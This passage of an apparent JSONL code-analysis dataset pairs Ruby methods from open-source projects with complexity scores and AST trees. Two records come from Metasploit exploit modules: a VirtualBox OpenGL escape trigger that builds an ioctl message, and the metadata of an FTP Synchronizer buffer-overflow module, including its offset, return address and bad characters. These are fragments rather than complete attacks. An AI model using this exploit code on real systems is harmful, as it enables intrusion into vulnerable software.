children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conn\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"USE \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db_name\"]}]}]}]}]}]}]}]}","id":"4b3dc890-529c-4fc9-a570-baa6df184259"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/postgres/postgres-pr/scram_sha_256.rb","start_line":140,"raw_source":"def parse_server_response(string)\n string.split(',')\n .each_with_object({}) do |key_value, result|\n key, value = key_value.split('=', 2)\n result[key.to_sym] = value\n end\n end","complexity_score":10.75,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_server_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"string\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string\"]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key_value\"]},{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\"]},{\"type\":\"lvasgn\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_value\"]},\"split\",{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_sym\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}","id":"942ec627-b5fc-46ea-af2d-ba5a516fc96d"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/issuable_links/destroy_service.rb","start_line":35,"raw_source":"def remove_relation\n link.destroy!\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_relation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"link\"]},\"destroy!\"]}]}","id":"b2cc4869-99a9-49e8-9bbc-ba547c20119d"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/virtual_box_opengl_escape.rb","start_line":198,"raw_source":"def trigger(buff_addr, buff_length)\n msg = \"\\x00\" * CALL_EA_MSG_SIZE\n\n msg[4, 4] = [@client_id].pack(\"V\") # u32ClientID\n msg[8, 4] = [SHCRGL_GUEST_FN_INJECT].pack(\"V\")\n msg[12, 4] = [SHCRGL_CPARMS_INJECT].pack(\"V\")\n msg[16, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack(\"V\")\n msg[20, 4] = [@client_id].pack(\"V\") # u32ClientID\n msg[28, 4] = [VMM_DEV_HGCM_PARM_TYPE_LIN_ADDR].pack(\"V\")\n msg[32, 4] = [buff_length].pack(\"V\") # size_of(buf)\n msg[36, 4] = [buff_addr].pack(\"V\") # (buf)\n\n result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CALL, msg)\n\n result\n end","complexity_score":24.0,"ast_json":"{\"type\":\"def\",\"children\":[\"trigger\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"buff_addr\"]},{\"type\":\"arg\",\"children\":[\"buff_length\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\u0000\"]},\"*\",{\"type\":\"const\",\"children\":[null,\"CALL_EA_MSG_SIZE\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"[]=\",{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@client_id\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"[]=\",{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SHCRGL_GUEST_FN_INJECT\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"[]=\",{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SHCRGL_CPARMS_INJECT\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"[]=\",{\"type\":\"int\",\"children\":[16]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VMM_DEV_HGCM_PARM_TYPE_32_BIT\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"[]=\",{\"type\":\"int\",\"children\":[20]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@client_id\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"[]=\",{\"type\":\"int\",\"children\":[28]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VMM_DEV_HGCM_PARM_TYPE_LIN_ADDR\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"[]=\",{\"type\":\"int\",\"children\":[32]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buff_length\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"[]=\",{\"type\":\"int\",\"children\":[36]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buff_addr\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"send_ioctl\",{\"type\":\"const\",\"children\":[null,\"VBOXGUEST_IOCTL_HGCM_CALL\"]},{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"33b757c8-d31c-42b3-b4fe-e394cdcf354e"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/packages_base_resolver.rb","start_line":55,"raw_source":"def packages_available?\n ::Gitlab.config.packages.enabled\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"packages_available?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"config\"]},\"packages\"]},\"enabled\"]}]}","id":"e722dfae-64ef-41cd-be98-f4a4b85ab59a"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/config/entry/validators.rb","start_line":457,"raw_source":"def image_ports(current_data)\n return [] unless current_data[:image].is_a?(Hash)\n\n current_data.dig(:image, :ports).to_a\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"image_ports\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"image\"]}]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_data\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"image\"]},{\"type\":\"sym\",\"children\":[\"ports\"]}]},\"to_a\"]}]}]}","id":"521619a9-d3fc-432e-a203-78f4674a894c"}
+{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/twitter/authorizations_controller.rb","start_line":18,"raw_source":"def oauth_token\n parsed_body['oauth_token']\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"oauth_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parsed_body\"]},\"[]\",{\"type\":\"str\",\"children\":[\"oauth_token\"]}]}]}","id":"0e225e6d-8236-4c79-9973-f110de923e07"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config/external/mapper/base.rb","start_line":14,"raw_source":"def process(...)\n context.logger.instrument(mapper_instrumentation_key) do\n process_without_instrumentation(...)\n end\n end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"process\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"logger\"]},\"instrument\",{\"type\":\"send\",\"children\":[null,\"mapper_instrumentation_key\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"process_without_instrumentation\",{\"type\":\"forwarded_args\",\"children\":[]}]}]}]}","id":"53ba0454-7ce5-4320-a670-7b992d4058a1"}
+{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/asset_url_helper.rb","start_line":430,"raw_source":"def audio_path(source, options = {})\n path_to_asset(source, { type: :audio }.merge!(options))\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"audio_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"path_to_asset\",{\"type\":\"lvar\",\"children\":[\"source\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"audio\"]}]}]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"011c7646-1e70-4333-96c8-01d53a5c394e"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb","start_line":187,"raw_source":"def test_exec_insert_default_values_with_returning_disabled_and_no_sequence_name_given\n connection = connection_without_insert_returning\n result = connection.exec_insert(\"insert into postgresql_partitioned_table_parent DEFAULT VALUES\", nil, [], \"id\")\n expect = connection.query(\"select max(id) from postgresql_partitioned_table_parent\").first.first\n assert_equal expect.to_i, result.rows.first.first\n end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_exec_insert_default_values_with_returning_disabled_and_no_sequence_name_given\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"connection\",{\"type\":\"send\",\"children\":[null,\"connection_without_insert_returning\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection\"]},\"exec_insert\",{\"type\":\"str\",\"children\":[\"insert into postgresql_partitioned_table_parent DEFAULT VALUES\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"array\",\"children\":[]},{\"type\":\"str\",\"children\":[\"id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection\"]},\"query\",{\"type\":\"str\",\"children\":[\"select max(id) from postgresql_partitioned_table_parent\"]}]},\"first\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expect\"]},\"to_i\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"rows\"]},\"first\"]},\"first\"]}]}]}]}","id":"bb25b38f-578a-4e11-8543-eadece778644"}
+{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/telligent.rb","start_line":199,"raw_source":"def import_avatar(user, avatar_url)\n if @filestore_root_directory.blank? || avatar_url.blank? || avatar_url.include?(\"anonymous\")\n return\n end\n\n if match_data = avatar_url.match(LOCAL_AVATAR_REGEX)\n avatar_path =\n File.join(\n @filestore_root_directory,\n match_data[:directory].gsub(\"-\", \".\"),\n match_data[:path].split(\"-\"),\n match_data[:filename],\n )\n\n if File.file?(avatar_path)\n @uploader.create_avatar(user, avatar_path)\n else\n STDERR.puts \"Could not find avatar: #{avatar_path}\"\n end\n elsif avatar_url.match?(REMOTE_AVATAR_REGEX)\n begin\n UserAvatar.import_url_for_user(avatar_url, user)\n rescue StandardError\n nil\n end\n end\n end","complexity_score":29.1,"ast_json":"{\"type\":\"def\",\"children\":[\"import_avatar\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"avatar_url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filestore_root_directory\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"avatar_url\"]},\"blank?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"avatar_url\"]},\"include?\",{\"type\":\"str\",\"children\":[\"anonymous\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"match_data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"avatar_url\"]},\"match\",{\"type\":\"const\",\"children\":[null,\"LOCAL_AVATAR_REGEX\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"avatar_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"ivar\",\"children\":[\"@filestore_root_directory\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"directory\"]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"str\",\"children\":[\".\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"path\"]}]},\"split\",{\"type\":\"str\",\"children\":[\"-\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filename\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"file?\",{\"type\":\"lvar\",\"children\":[\"avatar_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@uploader\"]},\"create_avatar\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"avatar_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"STDERR\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not find avatar: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"avatar_path\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"avatar_url\"]},\"match?\",{\"type\":\"const\",\"children\":[null,\"REMOTE_AVATAR_REGEX\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserAvatar\"]},\"import_url_for_user\",{\"type\":\"lvar\",\"children\":[\"avatar_url\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]},null]}]}]}]}","id":"5ebb3466-d5ca-4c7b-9120-0d210bd25071"}
+{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/categories_controller.rb","start_line":49,"raw_source":"def category_params\n params.require(:category).permit(\n :name, :description, :position, :slug, :locale, :icon, :parent_category_id, :associated_category_id\n )\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"category_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"category\"]}]},\"permit\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"sym\",\"children\":[\"position\"]},{\"type\":\"sym\",\"children\":[\"slug\"]},{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"sym\",\"children\":[\"icon\"]},{\"type\":\"sym\",\"children\":[\"parent_category_id\"]},{\"type\":\"sym\",\"children\":[\"associated_category_id\"]}]}]}","id":"ebfd5fa8-0592-4967-88fd-f7a058ab20c1"}
+{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/relationship.rb","start_line":71,"raw_source":"def resource_pair\n [resource_type, resource_id]\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"resource_pair\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource_type\"]},{\"type\":\"send\",\"children\":[null,\"resource_id\"]}]}]}","id":"7fdf488e-39cd-4591-8414-818d3c3c8f74"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/repositories/git_http_controller.rb","start_line":121,"raw_source":"def access_actor\n return user if user\n\n :ci if ci?\n end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"access_actor\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ci?\"]},{\"type\":\"sym\",\"children\":[\"ci\"]},null]}]}]}","id":"abe3df51-2867-487a-91ae-776fd994b594"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/notes/create_service.rb","start_line":151,"raw_source":"def quick_action_options\n {\n merge_request_diff_head_sha: params[:merge_request_diff_head_sha],\n review_id: params[:review_id],\n scope_validator: params[:scope_validator]\n }\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"quick_action_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merge_request_diff_head_sha\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"merge_request_diff_head_sha\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"review_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"review_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope_validator\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"scope_validator\"]}]}]}]}]}","id":"543bc531-325b-4e3f-b4a3-6c1af3d0287d"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/ftp/ftpsynch_list_reply.rb","start_line":11,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'FTP Synchronizer Professional 4.0.73.274 Stack Buffer Overflow',\n 'Description' => %q{\n This module exploits a stack buffer overflow vulnerability in FTP Synchronizer Pro\n version 4.0.73.274 The overflow gets triggered by sending an overly long filename to\n the client in response to a LIST command.\n The LIST command gets issued when doing a preview or when you have just created a new\n sync profile and allow the tool to see the differences.\n This will overwrite a structured exception handler and trigger an access violation.\n },\n 'Author' => [\n 'myne-us',\t# found the bug\n 'corelanc0d3r '\t# wrote the exploit\n ],\n 'License' => MSF_LICENSE,\n 'References' => [\n [ 'CVE', '2010-20107' ],\n [ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],\n ],\n 'DefaultOptions' => {\n 'EXITFUNC' => 'thread',\n },\n 'Payload' => {\n 'BadChars' => \"\\x00\\x0a\\x2f\\x5c\",\n },\n 'Platform' => 'win',\n 'Targets' => [\n [ 'XP Universal', { 'Offset' => 854, 'Ret' => \"\\x2D\\x78\" } ], # p/p/r FTPSynchronizer.exe\n ],\n 'Privileged' => false,\n 'DisclosureDate' => '2010-10-12',\n 'DefaultTarget' => 0,\n 'Notes' => {\n 'Reliability' => UNKNOWN_RELIABILITY,\n 'Stability' => UNKNOWN_STABILITY,\n 'SideEffects' => UNKNOWN_SIDE_EFFECTS\n }\n )\n )\n end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"FTP Synchronizer Professional 4.0.73.274 Stack Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module exploits a stack buffer overflow vulnerability in FTP Synchronizer Pro\\n\"]},{\"type\":\"str\",\"children\":[\" version 4.0.73.274 The overflow gets triggered by sending an overly long filename to\\n\"]},{\"type\":\"str\",\"children\":[\" the client in response to a LIST command.\\n\"]},{\"type\":\"str\",\"children\":[\" The LIST command gets issued when doing a preview or when you have just created a new\\n\"]},{\"type\":\"str\",\"children\":[\" sync profile and allow the tool to see the differences.\\n\"]},{\"type\":\"str\",\"children\":[\" This will overwrite a structured exception handler and trigger an access violation.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"myne-us\"]},{\"type\":\"str\",\"children\":[\"corelanc0d3r \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2010-20107\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"thread\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\\n/\\\\\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"XP Universal\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offset\"]},{\"type\":\"int\",\"children\":[854]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"str\",\"children\":[\"-x\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2010-10-12\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"f71d9613-f099-4692-af09-5b69e469c27d"}
+{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/cache/behaviors/cache_store_behavior.rb","start_line":414,"raw_source":"def test_exist\n key = SecureRandom.alphanumeric\n @cache.write(key, \"bar\")\n assert_equal true, @cache.exist?(key)\n assert_equal false, @cache.exist?(SecureRandom.uuid)\n end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_exist\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"alphanumeric\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"bar\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"exist?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"uuid\"]}]}]}]}]}","id":"870a8c44-9370-40cc-b433-38043b9dba2b"}
